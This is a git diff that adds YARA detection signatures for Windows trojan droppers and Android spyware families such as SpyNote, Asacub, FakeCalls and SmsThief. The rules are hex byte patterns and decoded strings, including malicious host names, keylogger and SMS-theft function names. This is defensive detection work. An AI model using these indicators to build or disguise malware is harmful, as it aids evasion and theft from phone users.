"TrojanDropper:Win32/Systex.AST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {68 3f 00 0f 00 53 53 ff 15 ?? ?? ?? ?? 6a 02 8b f0 68 70 bb 40 00 56 ff 15 ?? ?? ?? ?? 53 53 53 53 53 53 53 6a ff 6a 03 8b f8 6a ff 57 } //3 + $a_03_1 = {83 c4 04 e8 ?? ?? ?? ?? 99 b9 1a 00 00 00 f7 f9 6a 14 8b da ff d7 80 c3 61 6a 1e 88 9c 34 c8 00 00 00 ff d7 46 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/TrojanDropper/Win64/BungeeDropper/TrojanDropper_Win64_BungeeDropper_A_dha.yar b/TrojanDropper/Win64/BungeeDropper/TrojanDropper_Win64_BungeeDropper_A_dha.yar new file mode 100644 index 0000000000..9d891f0cee --- /dev/null +++ b/TrojanDropper/Win64/BungeeDropper/TrojanDropper_Win64_BungeeDropper_A_dha.yar @@ -0,0 +1,11 @@ + +rule TrojanDropper_Win64_BungeeDropper_A_dha{ + meta: + description = "TrojanDropper:Win64/BungeeDropper.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_42_0 = {89 44 24 90 01 01 48 8b 44 24 90 01 01 48 05 fc 03 00 00 48 89 44 24 90 01 01 48 8b 44 24 90 01 01 48 05 f8 03 00 00 48 89 44 24 90 01 01 48 8b 44 24 90 01 01 8b 00 89 44 24 90 01 01 48 8b 44 24 90 00 00 } //1 + condition: + ((#a_42_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanDropper/Win64/PermanentWhiteboard/TrojanDropper_Win64_PermanentWhiteboard_A_dha.yar b/TrojanDropper/Win64/PermanentWhiteboard/TrojanDropper_Win64_PermanentWhiteboard_A_dha.yar new file mode 100644 index 0000000000..4b50804648 --- /dev/null +++ b/TrojanDropper/Win64/PermanentWhiteboard/TrojanDropper_Win64_PermanentWhiteboard_A_dha.yar @@ -0,0 +1,12 @@ + +rule TrojanDropper_Win64_PermanentWhiteboard_A_dha{ + meta: + description = "TrojanDropper:Win64/PermanentWhiteboard.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {44 72 6f 6e 65 45 58 45 48 69 6a 61 63 6b 69 6e 67 4c 6f 61 64 65 72 2e 64 6c 6c } //1 DroneEXEHijackingLoader.dll + $a_43_1 = {bf 00 28 00 00 41 be ff 03 00 00 41 bc 00 24 00 00 0f b7 d1 41 8d 04 0f 66 41 3b c6 77 90 01 01 8b fa c1 e7 0a 81 ef 00 00 5f 03 90 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_43_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/Asacub/TrojanSpy_AndroidOS_Asacub_H_MTB.yar b/TrojanSpy/AndroidOS/Asacub/TrojanSpy_AndroidOS_Asacub_H_MTB.yar new file mode 100644 index 0000000000..b9ca00b4fc --- /dev/null +++ b/TrojanSpy/AndroidOS/Asacub/TrojanSpy_AndroidOS_Asacub_H_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanSpy_AndroidOS_Asacub_H_MTB{ + meta: + description = "TrojanSpy:AndroidOS/Asacub.H!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {21 84 35 40 35 00 d8 02 02 01 d5 22 ff 00 54 74 13 00 48 04 04 02 b0 41 d5 11 ff 00 54 74 13 00 48 04 04 01 54 75 13 00 54 76 13 00 48 06 06 02 4f 06 05 01 54 75 13 00 4f 04 05 02 54 74 13 00 48 04 04 02 54 75 13 00 48 05 05 01 b0 54 d5 44 ff 00 54 75 13 00 48 04 05 04 48 05 08 00 b7 54 8d 44 4f 04 03 00 d8 00 00 01 } //2 + $a_01_1 = {54 72 13 00 48 02 02 00 b0 21 48 02 03 00 b0 21 d5 11 ff 00 54 72 13 00 48 02 02 01 54 74 13 00 54 75 13 00 48 05 05 00 4f 05 04 01 54 74 13 00 4f 02 04 00 d8 00 00 01 } //1 + $a_01_2 = {62 61 6e 6e 65 72 69 6e 63 62 65 73 74 2e 63 6f 6d } //1 bannerincbest.com + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/Banker/TrojanSpy_AndroidOS_Banker_AR_MTB.yar b/TrojanSpy/AndroidOS/Banker/TrojanSpy_AndroidOS_Banker_AR_MTB.yar new file mode 100644 index 0000000000..be7b328f69 --- /dev/null +++ b/TrojanSpy/AndroidOS/Banker/TrojanSpy_AndroidOS_Banker_AR_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanSpy_AndroidOS_Banker_AR_MTB{ + meta: + description = "TrojanSpy:AndroidOS/Banker.AR!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_01_0 = {16 1c ff ff a2 1c 1c 04 18 1e 00 00 ff ff 00 00 ff ff a2 1c 1c 1e a0 1a 1a 1c 13 02 10 00 a4 1a 1a 02 05 00 1a 00 84 02 8f 28 60 02 8e 00 60 0a ad 00 d2 aa 3d e9 b6 a2 3c 02 08 00 08 02 16 00 02 11 08 00 } //1 + $a_01_1 = {22 04 a1 00 70 10 fa 03 04 00 6e 20 fc 03 24 00 0c 02 71 00 d8 03 00 00 0b 04 13 06 0a 00 83 66 cd 64 8a 44 b7 04 6e 20 fb 03 42 00 0c 02 6e 10 fd 03 02 00 0c 02 d8 00 00 01 } //1 + $a_01_2 = {6e 20 ea 03 08 00 0a 05 6e 20 f1 03 53 00 0a 05 e0 05 05 04 d8 06 00 01 6e 20 ea 03 68 00 0a 06 6e 20 f1 03 63 00 0a 06 b6 65 6e 20 6f 03 54 00 d8 00 00 02 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/FakeApp/TrojanSpy_AndroidOS_FakeApp_Y_MTB.yar b/TrojanSpy/AndroidOS/FakeApp/TrojanSpy_AndroidOS_FakeApp_Y_MTB.yar new file mode 100644 index 0000000000..62be696fff --- /dev/null +++ b/TrojanSpy/AndroidOS/FakeApp/TrojanSpy_AndroidOS_FakeApp_Y_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_FakeApp_Y_MTB{ + meta: + description = "TrojanSpy:AndroidOS/FakeApp.Y!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {07 60 1f 00 67 05 6e 10 47 2a 00 00 0c 00 6e 10 8f 1a 00 00 54 50 d9 11 54 00 ec 11 6e 10 ed 28 00 00 0a 00 12 01 01 12 } //1 + $a_01_1 = {5b 34 e0 11 60 04 3e 05 12 00 70 40 12 17 53 40 12 14 23 44 6d 24 14 01 d4 00 01 01 12 02 4b 01 04 02 5b 34 db 11 5b 36 de 11 60 06 3e 05 71 52 22 2c 05 64 0c 04 6e 20 1e 2c 24 00 0a 05 38 05 09 00 6e 20 09 2c 24 00 0c 05 6e 20 4e 2a 53 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_FakeCalls_V_MTB.yar b/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_FakeCalls_V_MTB.yar new file mode 100644 index 0000000000..40c8e3f87d --- /dev/null +++ b/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_FakeCalls_V_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_FakeCalls_V_MTB{ + meta: + description = "TrojanSpy:AndroidOS/FakeCalls.V!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {63 6f 6d 2f 77 69 73 68 2f 64 65 66 61 75 6c 74 63 61 6c 6c 73 65 72 76 69 63 65 2f 61 63 74 69 76 69 74 79 2f 56 61 6c 69 64 41 63 74 69 76 69 74 79 53 4b 56 } //1 com/wish/defaultcallservice/activity/ValidActivitySKV + $a_03_1 = {81 01 02 14 02 8d 00 08 7f 6e 20 ?? 81 21 00 0c 02 6e 20 ?? 0a 12 00 14 02 07 01 08 7f } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_Fakecalls_F_MTB.yar b/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_Fakecalls_F_MTB.yar new file mode 100644 index 0000000000..cd8727df42 --- /dev/null +++ b/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_Fakecalls_F_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_Fakecalls_F_MTB{ + meta: + description = "TrojanSpy:AndroidOS/Fakecalls.F!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {6e 10 b9 01 02 00 0c 00 38 00 20 00 54 20 69 01 39 00 19 00 6e 10 be 01 02 00 0c 00 1f 00 d0 01 38 00 06 00 54 00 66 01 5b 20 69 01 54 20 69 01 39 00 09 00 22 00 9f 03 70 10 c2 1d 00 00 5b 20 69 01 54 20 69 01 } //1 + $a_01_1 = {70 10 85 19 04 00 22 00 92 03 70 20 87 1d 40 00 5b 40 67 01 71 10 39 23 04 00 0c 00 5b 40 68 01 22 00 d5 01 22 01 cf 01 70 20 45 0d 41 00 70 20 5c 0d 10 00 5b 40 6a 01 6e 10 49 0d 04 00 0c 00 38 00 33 00 60 00 ff 00 13 01 13 00 34 10 0e 00 6e 10 49 0d 04 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_Fakecalls_N_MTB.yar b/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_Fakecalls_N_MTB.yar new file mode 100644 index 0000000000..5728f97dbd --- /dev/null +++ b/TrojanSpy/AndroidOS/FakeCalls/TrojanSpy_AndroidOS_Fakecalls_N_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_Fakecalls_N_MTB{ + meta: + description = "TrojanSpy:AndroidOS/Fakecalls.N!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {04 00 0c 04 6e 20 ?? 02 43 00 0c 03 6e 20 ?? 02 13 00 0c 03 13 04 3a 00 6e 20 ?? 02 43 00 0c 03 62 04 03 00 6e 20 ?? 02 43 00 0c 03 13 04 20 00 6e 20 ?? 02 43 00 0c 03 60 04 02 00 6e 20 ?? 02 43 00 0c 03 13 04 20 00 } //1 + $a_03_1 = {06 00 0c 06 12 07 6e 30 ?? 01 69 07 0c 04 6e 10 ?? 02 04 00 0a 06 39 06 a4 00 6e 10 ?? 01 09 00 0c 02 6e 10 ?? 02 02 00 0a 06 39 06 98 00 6e 10 ?? 01 09 00 0c 00 6e 10 ?? 02 00 00 0a 06 39 06 8c 00 60 06 02 00 13 07 15 00 34 76 5f 00 6e 10 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/RewardSteal/TrojanSpy_AndroidOS_RewardSteal_AA_MTB.yar b/TrojanSpy/AndroidOS/RewardSteal/TrojanSpy_AndroidOS_RewardSteal_AA_MTB.yar new file mode 100644 index 0000000000..44e07d81f1 --- /dev/null +++ b/TrojanSpy/AndroidOS/RewardSteal/TrojanSpy_AndroidOS_RewardSteal_AA_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_RewardSteal_AA_MTB{ + meta: + description = "TrojanSpy:AndroidOS/RewardSteal.AA!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {1a 01 b9 02 08 13 02 00 08 02 12 00 72 30 72 01 12 07 02 12 03 00 1a 03 63 02 72 30 72 01 32 08 08 14 05 00 1a 05 f6 02 72 30 72 01 52 0f 08 15 02 00 71 00 23 01 00 00 0c 02 08 16 06 00 1a 06 db 02 6e 20 24 01 62 00 0c 02 6e 20 1f 01 92 00 0c 02 08 17 0b 00 1a 0b 66 02 6e 20 1f 01 b2 00 0c 02 6e 20 21 01 a2 00 71 00 23 01 00 00 0c 0b 6e 20 24 01 6b 00 0c 0b 6e 20 1f 01 9b 00 0c 0b 08 18 02 00 } //1 + $a_01_1 = {6e 20 1f 01 16 00 0c 01 6e 20 21 01 71 00 6e 20 1f 01 36 00 0c 01 6e 20 21 01 81 00 6e 20 1f 01 56 00 0c 01 6e 20 21 01 f1 00 d8 04 04 01 08 00 1a 00 08 01 10 00 02 03 12 00 08 02 13 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/RewardSteal/TrojanSpy_AndroidOS_RewardSteal_AD_MTB.yar b/TrojanSpy/AndroidOS/RewardSteal/TrojanSpy_AndroidOS_RewardSteal_AD_MTB.yar new file mode 100644 index 0000000000..1d514d67e2 --- /dev/null +++ b/TrojanSpy/AndroidOS/RewardSteal/TrojanSpy_AndroidOS_RewardSteal_AD_MTB.yar @@ -0,0 +1,16 @@ + +rule TrojanSpy_AndroidOS_RewardSteal_AD_MTB{ + meta: + description = "TrojanSpy:AndroidOS/RewardSteal.AD!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {4d 69 6e 65 72 45 78 65 63 75 74 61 62 6c 65 44 6f 77 6e 6c 6f 61 64 } //1 MinerExecutableDownload + $a_01_1 = {4b 45 59 5f 45 58 45 43 55 54 41 42 4c 45 5f 44 4f 57 4e 4c 4f 41 44 45 44 } //1 KEY_EXECUTABLE_DOWNLOADED + $a_01_2 = {2f 65 78 61 6d 70 6c 65 2f 66 63 6d 65 78 70 72 2f 6d 69 6e 65 72 } //1 /example/fcmexpr/miner + $a_01_3 = {4d 69 6e 69 6e 67 54 72 61 63 6b 65 72 } //1 MiningTracker + $a_01_4 = {2f 65 78 61 6d 70 6c 65 2f 66 63 6d 65 78 70 72 2f 6b 65 65 70 61 6c 69 76 65 2f 4b 65 65 70 41 6c 69 76 65 52 65 63 65 69 76 65 72 } //1 /example/fcmexpr/keepalive/KeepAliveReceiver + $a_01_5 = {75 61 73 65 63 75 72 69 74 79 2e 6f 72 67 2f } //1 uasecurity.org/ + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BC_MTB.yar b/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BC_MTB.yar new file mode 100644 index 0000000000..bf1de6b040 --- /dev/null +++ b/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BC_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_SAgnt_BC_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SAgnt.BC!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {22 0c 43 00 70 10 c9 00 0c 00 22 08 43 00 70 10 c9 00 08 00 6e 10 45 01 0b 00 0a 09 b7 19 6e 20 37 01 8b 00 6e 20 38 01 cb 00 23 db 4a 01 71 10 a5 01 09 00 0c 0a 4d 0a 0b 02 6e 10 cb 00 08 00 0a 0a } //1 + $a_01_1 = {22 00 41 00 70 10 c4 00 00 00 62 01 2a 00 6e 20 c8 00 10 00 6e 30 c6 00 40 05 60 04 9f 00 a7 04 06 04 71 10 ca 01 04 00 0a 04 60 05 a1 00 a7 05 07 05 71 10 ca 01 05 00 0a 05 15 01 00 40 2d 04 04 01 3b 04 06 00 2d 04 05 01 3a 04 13 00 60 04 9f 00 60 05 a1 00 a6 02 06 04 c9 12 a6 03 07 05 c9 13 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BD_MTB.yar b/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BD_MTB.yar new file mode 100644 index 0000000000..ccf8db52ad --- /dev/null +++ b/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BD_MTB.yar @@ -0,0 +1,17 @@ + +rule TrojanSpy_AndroidOS_SAgnt_BD_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SAgnt.BD!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 07 00 00 " + + strings : + $a_01_0 = {4c 63 6e 2f 72 65 61 6c 73 68 65 6c 6c 2f 43 6f 72 65 53 65 72 76 69 63 65 } //1 Lcn/realshell/CoreService + $a_01_1 = {47 48 4f 53 54 53 48 45 4c 4c 5f 53 45 4e 44 5f 53 4d 53 } //1 GHOSTSHELL_SEND_SMS + $a_01_2 = {68 6f 6f 6b 50 75 62 6c 69 73 68 53 65 72 76 69 63 65 } //1 hookPublishService + $a_01_3 = {63 6e 2e 72 65 61 6c 73 68 65 6c 6c 2e 43 68 61 6e 6e 65 6c 44 61 74 61 } //1 cn.realshell.ChannelData + $a_01_4 = {52 45 41 4c 53 48 45 4c 4c 5f 50 4c 55 47 49 4e 53 } //1 REALSHELL_PLUGINS + $a_01_5 = {4c 63 6f 6d 2f 79 73 2f 73 65 72 76 69 63 65 2f 57 6f 72 6b 53 74 61 72 74 52 65 63 65 69 76 65 72 } //1 Lcom/ys/service/WorkStartReceiver + $a_01_6 = {4d 45 53 53 41 47 45 5f 44 4f 57 4e 4c 4f 41 44 5f 50 4c 55 47 49 4e 53 } //1 MESSAGE_DOWNLOAD_PLUGINS + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BE_MTB.yar b/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BE_MTB.yar new file mode 100644 index 0000000000..5e3cc1186b --- /dev/null +++ b/TrojanSpy/AndroidOS/SAgnt/TrojanSpy_AndroidOS_SAgnt_BE_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_SAgnt_BE_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SAgnt.BE!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {6e 20 d0 00 21 00 6e 10 9e 00 01 00 0c 01 6e 10 af 0c 01 00 0c 01 14 00 02 00 02 01 6e 20 9b 0a 01 00 0c 01 1f 01 43 02 12 00 71 40 c0 24 13 20 0c 01 11 01 } //1 + $a_01_1 = {63 00 a4 0b 38 00 29 00 54 30 75 0b 38 00 25 00 54 30 4b 0b 38 00 21 00 54 31 52 0b 38 01 1d 00 71 20 fa 27 10 00 0c 00 6e 10 fc 27 00 00 38 04 11 00 54 34 57 0b 6e 10 42 28 04 00 0c 04 22 01 fa 04 70 30 04 25 31 00 6e 20 ce 06 14 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/SMSAgnt/TrojanSpy_AndroidOS_SMSAgnt_B_MTB.yar b/TrojanSpy/AndroidOS/SMSAgnt/TrojanSpy_AndroidOS_SMSAgnt_B_MTB.yar new file mode 100644 index 0000000000..d98a3704b9 --- /dev/null +++ b/TrojanSpy/AndroidOS/SMSAgnt/TrojanSpy_AndroidOS_SMSAgnt_B_MTB.yar @@ -0,0 +1,18 @@ + +rule TrojanSpy_AndroidOS_SMSAgnt_B_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SMSAgnt.B!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 08 00 00 " + + strings : + $a_01_0 = {47 61 6c 6c 65 72 79 45 79 65 55 70 6c 6f 61 64 65 72 2e 6b 74 } //1 GalleryEyeUploader.kt + $a_01_1 = {47 61 6c 6c 65 72 79 45 79 65 52 75 6e 74 69 6d 65 50 65 72 6d 69 73 73 69 6f 6e 73 2e 6b 74 } //1 GalleryEyeRuntimePermissions.kt + $a_01_2 = {47 61 6c 6c 65 72 79 45 79 65 4d 61 69 6e 41 63 74 69 76 69 74 79 2e 6b 74 } //1 GalleryEyeMainActivity.kt + $a_01_3 = {47 61 6c 6c 65 72 79 45 79 65 46 6f 72 65 67 72 6f 75 6e 64 53 65 72 76 69 63 65 2e 6b 74 } //1 GalleryEyeForegroundService.kt + $a_01_4 = {61 62 79 73 73 61 6c 61 72 6d 79 2f 67 61 6c 6c 65 72 79 65 79 66 2f 47 61 6c 6c 65 72 79 45 79 65 55 74 69 6c 73 2f 47 61 6c 6c 65 72 79 45 79 65 52 75 6e 74 69 6d 65 50 65 72 6d 69 73 73 69 6f 6e 73 24 67 72 61 6e 74 50 65 72 6d 69 73 73 69 6f 6e 73 } //1 abyssalarmy/galleryeyf/GalleryEyeUtils/GalleryEyeRuntimePermissions$grantPermissions + $a_01_5 = {14 00 b7 a9 c0 5a 08 01 2b 00 72 20 e8 64 01 00 0c 0c 1a 01 54 2b 71 20 86 66 1c 00 dd 01 0b 01 38 01 05 00 de 01 0d 06 28 11 dd 01 0d 0e 39 01 0d 00 72 20 be 64 ec 00 0a 01 38 01 04 00 12 41 28 02 12 21 b6 d1 28 02 } //1 + $a_01_6 = {dd 11 0b 40 38 11 0b 00 15 11 18 00 96 01 01 11 02 12 01 00 05 00 20 00 28 1b 15 11 38 00 95 11 0d 11 02 2b 01 00 05 00 20 00 39 11 10 00 72 30 bd 64 0c 01 0a 12 38 12 05 00 15 12 10 00 28 03 15 12 08 00 96 12 2b 12 } //1 + $a_01_7 = {02 02 22 00 d5 b3 00 01 38 03 09 00 15 03 00 06 96 12 12 03 05 0e 23 00 28 15 15 03 00 0e b5 d3 05 0e 23 00 39 03 0f 00 72 30 bd 64 ec 0f 0a 03 38 03 05 00 15 03 00 04 28 03 15 03 00 02 96 12 12 03 d5 b3 00 02 38 03 09 00 15 03 00 30 96 12 12 03 05 0e 25 00 28 15 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/SmsSpy/TrojanSpy_AndroidOS_SmsSpy_Y_MTB.yar b/TrojanSpy/AndroidOS/SmsSpy/TrojanSpy_AndroidOS_SmsSpy_Y_MTB.yar new file mode 100644 index 0000000000..88448da705 --- /dev/null +++ b/TrojanSpy/AndroidOS/SmsSpy/TrojanSpy_AndroidOS_SmsSpy_Y_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_SmsSpy_Y_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SmsSpy.Y!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {75 06 47 10 00 00 54 01 ac 0e 38 01 0b 00 63 02 9c 0e 39 02 07 00 54 11 22 0e 6e 10 bb 25 01 00 } //1 + $a_01_1 = {70 10 26 26 01 00 0c 00 54 00 e1 0e 54 00 6d 00 1f 00 65 01 6e 20 27 07 20 00 0c 02 6f 20 56 10 21 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/SmsThief/TrojanSpy_AndroidOS_SmsThief_BQ_MTB.yar b/TrojanSpy/AndroidOS/SmsThief/TrojanSpy_AndroidOS_SmsThief_BQ_MTB.yar new file mode 100644 index 0000000000..bb7a45b979 --- /dev/null +++ b/TrojanSpy/AndroidOS/SmsThief/TrojanSpy_AndroidOS_SmsThief_BQ_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_SmsThief_BQ_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SmsThief.BQ!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {21 57 35 76 35 01 46 07 04 06 1f 07 48 00 71 10 16 00 07 00 0c 07 4d 07 05 06 46 07 05 06 6e 10 18 00 07 00 0c 07 46 08 05 06 6e 10 17 00 08 00 0c 08 1a 09 14 00 1a 0a 0e 00 6e 30 69 00 98 0a 0c 09 1a 0a 11 00 6e 30 69 00 a9 02 0c 0a } //1 + $a_01_1 = {13 10 01 00 46 0f 0f 10 6e 20 6a 00 2d 00 0c 10 13 11 02 00 46 10 10 11 08 16 10 00 6e 10 6b 00 0e 00 0c 10 77 01 65 00 10 00 0a 10 02 17 10 00 08 18 00 00 14 00 03 d9 00 00 08 19 02 00 02 02 17 00 33 02 5c 00 71 00 14 00 00 00 0c 10 13 12 00 00 13 14 00 00 13 15 00 00 08 11 0f 00 08 13 16 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/SpyAgnt/TrojanSpy_AndroidOS_SpyAgnt_N_MTB.yar b/TrojanSpy/AndroidOS/SpyAgnt/TrojanSpy_AndroidOS_SpyAgnt_N_MTB.yar new file mode 100644 index 0000000000..6dbc212481 --- /dev/null +++ b/TrojanSpy/AndroidOS/SpyAgnt/TrojanSpy_AndroidOS_SpyAgnt_N_MTB.yar @@ -0,0 +1,15 @@ + +rule TrojanSpy_AndroidOS_SpyAgnt_N_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SpyAgnt.N!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {70 73 79 62 65 72 69 61 2f 61 6c 70 69 6e 65 71 75 65 73 74 2f 66 75 6c 6c 2f 74 65 6c 65 2f 54 65 6c 65 67 72 61 6d 53 65 72 76 69 63 65 } //1 psyberia/alpinequest/full/tele/TelegramService + $a_01_1 = {74 70 73 3a 2f 2f 64 65 74 65 63 74 2d 69 6e 66 6f 68 65 6c 70 2e 63 6f 6d 2f 70 61 72 73 65 2f } //1 tps://detect-infohelp.com/parse/ + $a_01_2 = {67 65 74 54 65 6c 65 42 6f 74 55 72 6c } //1 getTeleBotUrl + $a_01_3 = {73 65 6e 64 44 61 74 61 54 6f 53 72 76 } //1 sendDataToSrv + $a_01_4 = {70 69 6e 67 54 65 6c 65 } //1 pingTele + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_Q_MTB.yar b/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_Q_MTB.yar new file mode 100644 index 0000000000..02ec0b000b --- /dev/null +++ b/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_Q_MTB.yar @@ -0,0 +1,15 @@ + +rule TrojanSpy_AndroidOS_SpyNote_Q_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SpyNote.Q!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {69 6e 76 6f 6b 65 5f 73 70 79 6e 6f 74 65 5f 70 61 79 6c 6f 61 64 } //1 invoke_spynote_payload + $a_01_1 = {6b 65 79 5f 6c 6f 67 67 65 72 5f 53 74 61 72 74 65 64 } //1 key_logger_Started + $a_01_2 = {67 65 74 50 61 73 73 4b 65 79 4c 6f 67 67 65 72 54 65 78 74 } //1 getPassKeyLoggerText + $a_01_3 = {4f 66 66 6c 69 6e 65 4c 6f 67 67 65 72 49 44 } //1 OfflineLoggerID + $a_01_4 = {67 65 74 4c 6f 63 6b 50 49 4e } //1 getLockPIN + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_R_MTB.yar b/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_R_MTB.yar new file mode 100644 index 0000000000..06d311df0e --- /dev/null +++ b/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_R_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_SpyNote_R_MTB{ + meta: + description = 